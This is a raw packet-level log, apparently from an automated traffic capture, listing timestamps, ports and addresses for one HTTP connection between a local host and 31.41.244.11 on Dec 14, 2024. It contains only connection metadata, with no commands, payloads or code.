Dec 14, 2024 14:56:20.066557884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.066612005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.066612005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.197340965 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.197396040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.197436094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.197482109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.197624922 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.197683096 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.197712898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.197762966 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.198811054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.198997021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.199064016 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.199987888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.200123072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.200345039 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.200417995 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.200514078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.200567007 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.201539993 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.201667070 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.201719999 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.202737093 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.202843904 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.202917099 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.203001022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.203969955 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.204022884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.204025984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.204082012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.205107927 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.205228090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.205280066 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.206295967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.206408024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.206465960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.207472086 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.207588911 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.207642078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.208663940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.208723068 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.208796978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.208859921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.209858894 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.209968090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.210007906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.210007906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.211062908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.211127043 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.211162090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.211215019 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.212268114 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.212322950 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.212384939 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.213404894 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.213520050 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.213541985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.213599920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.214622021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.214728117 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.214786053 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.215821028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.215877056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.215929031 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.216985941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.217042923 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.217104912 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.217153072 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.218187094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.218327045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.218386889 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.219377041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.219505072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.219554901 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.220618963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.220673084 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.220721006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.220721006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.221766949 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.221856117 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.221867085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.221918106 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.222954988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.223012924 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.223086119 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.223359108 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.224119902 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.224220037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.224241972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.224292994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.225305080 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.225357056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.225358963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.225409031 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.226492882 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.226548910 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.226738930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.226788998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.227685928 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.227808952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.227864981 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.228894949 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.228946924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.228996038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.230092049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.230153084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.230252028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.230693102 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.231225967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.231287956 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.231369019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.231421947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.232388020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.232455015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.232513905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.233726978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.233781099 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.233792067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.234776020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.234822989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.234864950 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.234918118 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.236001015 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.236190081 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.236241102 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.237168074 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.237294912 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.237343073 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.238382101 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.238430977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.238563061 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.239373922 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.239568949 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.239618063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.239624977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.239671946 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.240729094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.240871906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.240923882 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.241905928 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.242019892 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.242069960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.243149042 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.243201971 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.243251085 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.244309902 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.244359016 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.244431019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.244755030 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.245470047 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.245599031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.245649099 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.246663094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.246804953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.246855974 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.247904062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.248045921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.248245001 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.249059916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.249111891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.249176979 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.250247955 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.250299931 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.250351906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.250654936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.251442909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.251564980 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.251619101 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.252675056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.252728939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.252780914 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.253797054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.253886938 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.253931046 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.254981995 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.255036116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.255130053 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.256253958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.256305933 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.256352901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.256402016 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.257421017 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.257541895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.257623911 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.258595943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.258650064 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.258707047 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.399702072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.399769068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.399977922 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.399982929 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.400077105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.400146961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.400403976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.401252985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.401441097 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.401456118 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.401544094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.402343035 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.402451038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.402707100 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.402764082 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.402864933 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.403228998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.404035091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.404071093 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.404086113 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.404114008 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.405112982 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.405164957 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.405277014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.405327082 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.406330109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.406385899 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.406476021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.406549931 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.407597065 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.407656908 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.407787085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.407839060 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.408682108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.408741951 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.408811092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.408858061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.409892082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.409948111 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.410043955 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.410089970 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.411077023 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.411132097 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.411263943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.411350012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.412122965 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.412182093 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.412277937 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.412827015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.413378000 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.413531065 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.413567066 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.413583994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.413604021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.413654089 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.414680004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.414738894 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.415719986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.417685986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.418190002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.418360949 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.418529987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.418546915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.418566942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.418632984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.419409037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.419475079 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.419564962 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.419616938 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.419986010 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.420022011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.420046091 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.420080900 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.420593977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.420726061 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.420784950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.421809912 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.421864033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.421880007 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.421915054 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.422981977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.423101902 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.423157930 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.424160004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.424280882 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.424334049 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.425354004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.425471067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.425522089 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.426548958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.426696062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.426748991 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.427772999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.427829027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.427869081 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.428908110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.428963900 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.429019928 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.430113077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.430171013 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.430218935 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.430277109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.431289911 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.431478977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.431535006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.432487965 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.432578087 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.432626009 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.436857939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.436920881 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.437020063 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.437053919 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.437066078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.437088966 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.437103033 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.437124968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.437129974 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.437160969 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.437166929 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.437205076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.438457012 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.438503027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.438801050 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.439757109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.439780951 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.439810991 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.439853907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.440757036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.440788031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.440809965 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.440850019 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.441848040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.442193031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.442240953 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.442950964 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.443322897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.443372011 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.444194078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.444236040 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.444510937 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.445100069 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.445446014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.445503950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.445605993 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.445718050 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.446679115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.446870089 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.446916103 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.447926044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.448122978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.448168039 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.448976994 CET	80	49846	31.41.244.11	192.168.2.5
